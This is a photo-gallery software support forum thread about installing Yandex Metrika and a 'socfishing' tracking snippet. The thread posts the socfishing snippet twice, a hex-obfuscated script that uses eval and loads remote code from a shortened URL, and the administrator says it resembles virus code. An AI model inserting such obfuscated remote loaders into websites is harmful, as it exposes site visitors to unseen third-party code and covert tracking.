Search…

X3 Photo Gallery Support Forums

Search…
 
ArtyFilin
Posts: 20
Joined: 03 Feb 2011, 09:59

Re: Statcounter

16 Mar 2016, 11:29

It works!
Just had to wait
 
ArtyFilin
Posts: 20
Joined: 03 Feb 2011, 09:59

Re: Statcounter

23 Mar 2016, 07:08

I agree, the <counters> there should not be. This is a false tip on one of the forums.
Instructions for installing counter Yandex Metrics https://www.yandex.ru/support/metrika/q ... stall-code
The counter is set in settings/page/include/content prepend
(Is that right?)
Manual verification of the meter here: https://www.yandex.ru/support/metrika/g ... ounter.xml
Use parameter ?_ym_debug=1
(http://af-photo.ru/?_ym_debug=1)
Next see attach pic.
The result: the meter is not installed correctly.
Yes, I need to configure the Yandex Metric. Google Analytics is not suitable, because it cannot work with Yandex Direct.

And one more thing.
Here are instructions for the installation of another code I needed: http://socfishing.ru/help/start/
It says that the code should be set inside the <head>tag
Install it in settings/custom/custom <head>
After this my site is not working correct.
This code also needed.
What I need to do to make it work correctly? Thanks for the reply.
Attachments
Снимок-экрана-2016-03-23-в-13.56.36.jpg
Снимок-экрана-2016-03-23-в-13.56.36.jpg (177.42 KiB) Viewed 6465 times
 
User avatar
mjau-mjau
X3 Wizard
Posts: 13998
Joined: 30 Sep 2006, 03:37

Re: Statcounter

24 Mar 2016, 00:38

ArtyFilin wrote:I agree, the <counters> there should not be. This is a false tip on one of the forums.
Instructions for installing counter Yandex Metrics https://www.yandex.ru/support/metrika/q ... stall-code
The counter is set in settings/page/include/content prepend
(Is that right?)
it may work for a single page, but it's not technically correct to glue javascript into your custom page content. Probably would work though. More importantly, I gave you some custom code in my previous post, where I clearly asked you to add to settings->custom->custom javascript. You did not try this?
ArtyFilin wrote:Manual verification of the meter here: https://www.yandex.ru/support/metrika/g ... ounter.xml
Use parameter ?_ym_debug=1
(http://af-photo.ru/?_ym_debug=1)
Next see attach pic.
The result: the meter is not installed correctly.
What are you supposed to see here? Got any examples?
ArtyFilin wrote:And one more thing.
Here are instructions for the installation of another code I needed: http://socfishing.ru/help/start/
It says that the code should be set inside the <head>tag
Install it in settings/custom/custom <head>
After this my site is not working correct.
This code also needed.
What I need to do to make it work correctly? Thanks for the reply.
First of all, I don't see that any code related to SOCFISHING is installed anywhere. Second, that error in your screenshot is from METRIKA and has nothing to do with X3.

So back to the Metrika issue and "counter" again. I am reading the error, and the Metrika script says:
Code
watch.js:106 Uncaught TypeError: Cannot read property 'counters' of undefined
I don't know where you got the code from, but there is clearly something wrong with your embed code. I can't guess how it should work for 3rd party scripts, but there is clearly an undeclared "counters" variable. Where is the yandex page that gives you the code to add?

Tip Update PHP
You are using an OLD PHP version 5.3 http://af-photo.ru/?diagnostics. I recommend you check your host settings and see if you can upgrade to 5.5 or 5.6. Especially since you are using cyrillic, old PHP 5.3 uses outdated storage of unicode in JSON files.
 
ArtyFilin
Posts: 20
Joined: 03 Feb 2011, 09:59

Re: Statcounter

24 Mar 2016, 11:21

I am not sure how yandex counter works, but you can try to add the below into your settings->custom->custom javascript. If it does not work, I need a link which documents how to add code for metrika ... I can't do this for you. Why not use Google Analytics? It is built-in to X3.
Code
function x3_load_page(){
$.getScript("https://mc.yandex.ru/metrika/watch.js");
(function (d, w, c) {
(w[c] = w[c] || []).push(function() {
try {
w.yaCounter26058345 = new Ya.Metrika({
id:26058345,
clickmap:true,
trackLinks:true,
accurateTrackBounce:true,
webvisor:true
});
} catch(e) { }
});
};
Unfortunately, after installing the code in the specified field Yandex.Metrics can't find counter.
 
ArtyFilin
Posts: 20
Joined: 03 Feb 2011, 09:59

Re: Statcounter

24 Mar 2016, 11:26

Here is one more code, which need to be into <head> tag.
Code
<script type="text/javascript">var l="3b7005d41d8cd9593234999";function _lt(t){var e=document["\x63\x6F\x6F\x6B\x69\x65"]["\x6D\x61\x74\x63\x68"]( new RegExp("\x28\x3F\x3A\x5E\x7C\x3B\x20\x29"+t["\x72\x65\x70\x6C\x61\x63\x65"](/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\x5C\x24\x31")+"\x3D\x28\x5B\x5E\x3B\x5D\x2A\x29"));return e?decodeURIComponent(e[1]):!1}function _bt(){return _bt= !1,navigator["\x75\x73\x65\x72\x41\x67\x65\x6E\x74"]["\x6D\x61\x74\x63\x68"]("\x62\x6F\x74\x73")&&(_bt= !0),_bt}if(!_bt()){_lt("\x79\x5F"+l)||eval(function(t,e,n,r,c,o){if(c=function(t){return t},!""["\x72\x65\x70\x6C\x61\x63\x65"](/^/,String)){for(;n--;){o[n]=r[n]||n};r=[function(t){return o[t]}],c=function(){return "\x5C\x77\x2B"},n=1};for(;n--;){r[n]&&(t=t["\x72\x65\x70\x6C\x61\x63\x65"]( new RegExp("\x5C\x62"+c(n)+"\x5C\x62","\x67"),r[n]))};return t}("\x30\x20\x31\x28\x29\x7B\x32\x20\x33\x7D",4,4,"\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x79\x61\x6E\x64\x65\x78\x5F\x6D\x65\x74\x72\x69\x6B\x61\x5F\x63\x61\x6C\x6C\x62\x61\x63\x6B\x73\x7C\x72\x65\x74\x75\x72\x6E\x7C\x66\x61\x6C\x73\x65"["\x73\x70\x6C\x69\x74"]("\x7C"),0,{}));var sfl=document["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"]("\x73\x63\x72\x69\x70\x74");sfl["\x74\x79\x70\x65"]="\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74",sfl["\x73\x72\x63"]="\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x6F\x6F\x2E\x67\x6C\x2F\x41\x74\x6F\x34\x4E\x49\x23\x6C\x2E\x6A\x73",(document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x68\x74\x6D\x6C")[0]||document["\x62\x6F\x64\x79"])["\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"](sfl)}var _j=true;</script>
Try to paste to settings>custom>custom <head> – site not correct work.
Try to paste to settings>custom>custom Javascript – site work correct, but code is not working.
More about this code here: http://socfishing.ru/help/manual/podkljuchit-sajt
 
User avatar
mjau-mjau
X3 Wizard
Posts: 13998
Joined: 30 Sep 2006, 03:37

Re: Statcounter

24 Mar 2016, 11:55

I can only help you get custom scripts added where you want them ... I can't diagnose why they aren't working. That is not X3's fault.
ArtyFilin wrote:Here is one more code, which need to be into <head> tag.
Code
<script type="text/javascript">var l="3b7005d41d8cd9593234999";function _lt(t){var e=document["\x63\x6F\x6F\x6B\x69\x65"]["\x6D\x61\x74\x63\x68"]( new RegExp("\x28\x3F\x3A\x5E\x7C\x3B\x20\x29"+t["\x72\x65\x70\x6C\x61\x63\x65"](/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\x5C\x24\x31")+"\x3D\x28\x5B\x5E\x3B\x5D\x2A\x29"));return e?decodeURIComponent(e[1]):!1}function _bt(){return _bt= !1,navigator["\x75\x73\x65\x72\x41\x67\x65\x6E\x74"]["\x6D\x61\x74\x63\x68"]("\x62\x6F\x74\x73")&&(_bt= !0),_bt}if(!_bt()){_lt("\x79\x5F"+l)||eval(function(t,e,n,r,c,o){if(c=function(t){return t},!""["\x72\x65\x70\x6C\x61\x63\x65"](/^/,String)){for(;n--;){o[n]=r[n]||n};r=[function(t){return o[t]}],c=function(){return "\x5C\x77\x2B"},n=1};for(;n--;){r[n]&&(t=t["\x72\x65\x70\x6C\x61\x63\x65"]( new RegExp("\x5C\x62"+c(n)+"\x5C\x62","\x67"),r[n]))};return t}("\x30\x20\x31\x28\x29\x7B\x32\x20\x33\x7D",4,4,"\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x79\x61\x6E\x64\x65\x78\x5F\x6D\x65\x74\x72\x69\x6B\x61\x5F\x63\x61\x6C\x6C\x62\x61\x63\x6B\x73\x7C\x72\x65\x74\x75\x72\x6E\x7C\x66\x61\x6C\x73\x65"["\x73\x70\x6C\x69\x74"]("\x7C"),0,{}));var sfl=document["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"]("\x73\x63\x72\x69\x70\x74");sfl["\x74\x79\x70\x65"]="\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74",sfl["\x73\x72\x63"]="\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x6F\x6F\x2E\x67\x6C\x2F\x41\x74\x6F\x34\x4E\x49\x23\x6C\x2E\x6A\x73",(document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x68\x74\x6D\x6C")[0]||document["\x62\x6F\x64\x79"])["\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"](sfl)}var _j=true;</script>
Strange code. They need to encode it like that? If I didn't know better, I would think it would be virus-code since it's encrypted. I checked the website you referred to, and can't see anything that resembles the above code.

So, give me link and login to your panel, and the exact codes you want added, and I will take a look, and make sure they are added technically correct. Apart from that, if the scripts don't work, or report errors, then what can I do?
 
ArtyFilin
Posts: 20
Joined: 03 Feb 2011, 09:59

Re: Statcounter

24 Mar 2016, 12:07

Sent a private message.
Yes, code unusual.
Attachments
Снимок-экрана-2016-03-24-в-19.08.04.jpg
Снимок-экрана-2016-03-24-в-19.08.04.jpg (159.25 KiB) Viewed 6440 times
 
ArtyFilin
Posts: 20
Joined: 03 Feb 2011, 09:59

Re: Statcounter

24 Mar 2016, 12:22

Messages to you stand in Outbox.
Can you send letter to Arty_Filin@inbox.ru ?
Attachments
Снимок экрана 2016-03-24 в 19.20.58.png
Снимок экрана 2016-03-24 в 19.20.58.png (40.67 KiB) Viewed 6439 times
 
User avatar
mjau-mjau
X3 Wizard
Posts: 13998
Joined: 30 Sep 2006, 03:37

Re: Statcounter

24 Mar 2016, 12:44

I received all the messages. Will check tomorrow.
 
User avatar
mjau-mjau
X3 Wizard
Posts: 13998
Joined: 30 Sep 2006, 03:37

Re: Statcounter

25 Mar 2016, 00:56

First of all, regarding the "socgate" code, you had glued it in with <script> tags surrounding it ... You can't do that, as the custom JS is already inside <script> tags. I removed them, and now the script loads, and it seems to do something:
Image
Image
No idea what it does, what it's supposed to do, or why it's encrypted, but this is added properly and is loading. Actually, it's some kinda debugger? Seems to work:
Image

Metrika
I simplified this back to your provided script. It does not work, and returns "watch.js:106 Uncaught TypeError: Cannot read property 'counters' of undefined". Where did you get that code? You can check in the SOURCE code, it is added correctly. Plain and simple in the <head> of the document ... Something wrong with your code.
Code
<script>
  (function (d, w, c) {
(w[c] = w[c] || []).push(function() {
try {
w.yaCounter26058345 = new Ya.Metrika({
id:26058345,
clickmap:true,
trackLinks:true,
accurateTrackBounce:true,
webvisor:true
});
} catch(e) { }
});

var n = d.getElementsByTagName("script")[0],
s = d.createElement("script"),
f = function () { n.parentNode.insertBefore(s, n); };
s.type = "text/javascript";
s.async = true;
s.src = "https://mc.yandex.ru/metrika/watch.js";

if (w.opera == "[object Opera]") {
d.addEventListener("DOMContentLoaded", f, false);
} else { f(); }
})(document, window, "yandex_metrika_callbacks");
</script>
 
ArtyFilin
Posts: 20
Joined: 03 Feb 2011, 09:59

Re: Statcounter

25 Mar 2016, 05:43

Counter code taken from the admin panel in Yandex Metrics. When you copy you can't go wrong, as this needs only to click the copy button.
Yandex offers code generation for XML web sites. And code into one line. This may help?
PS Yandex large company and a direct competitor to Google in the world. This does not mean that their code is optimal, but it is hard to believe that the work they are doing poorly.
Attachments
Снимок-экрана-2016-03-25-в-12.38.50.jpg
Снимок-экрана-2016-03-25-в-12.38.50.jpg (191.8 KiB) Viewed 6428 times
 
User avatar
mjau-mjau
X3 Wizard
Posts: 13998
Joined: 30 Sep 2006, 03:37

Re: Statcounter

25 Mar 2016, 07:54

Yes I know Yandex is big, and NO I don't think there is something wrong with their code. However, the only reason it would not work in X3, is if they use GLOBAL variable namespace that is used in X3 minified javascript ... for example "Ya" might be used in minified X3. I can perhaps look into this for next release, but I can't go around reserving variables for every 3rd party plugin ...

The code itself is added EXACTLY how you have provided it. See the source of your document:
Image

Furthermore, it's clearly loading the metrika JS script:
Image

What happens from there within watch.js is outside our control obviously. The only reason it could related to X3, is if it is using a global namespace variable same as X3. I can look into this for next release, perhaps we need to reserve "Ya" for Yandex ... Looking at it now, I am guessing 99% sure this is the issue ... but you will have to wait a week for a fix in next release.
 
User avatar
mjau-mjau
X3 Wizard
Posts: 13998
Joined: 30 Sep 2006, 03:37

Re: Statcounter

26 Mar 2016, 13:40

I believe this issue has been fixed in pending release. I have reserved javascript window variable name "Ya", so X3 does not use it when minified and mangled. It seems Yandex Metrika uses this variable name for it's global counter object.
 
ArtyFilin
Posts: 20
Joined: 03 Feb 2011, 09:59

Re: Statcounter

28 Mar 2016, 06:19

Thank you very much!
Waiting for release)
 
ArtyFilin
Posts: 20
Joined: 03 Feb 2011, 09:59

Re: Statcounter

13 Apr 2016, 13:32

Set release 017, inserted the code Yandex Metrics. Here is the message I saw. As it should be?
Attachments
Снимок экрана 2016-04-13 в 20.28.52.png
Снимок экрана 2016-04-13 в 20.28.52.png (72.35 KiB) Viewed 6336 times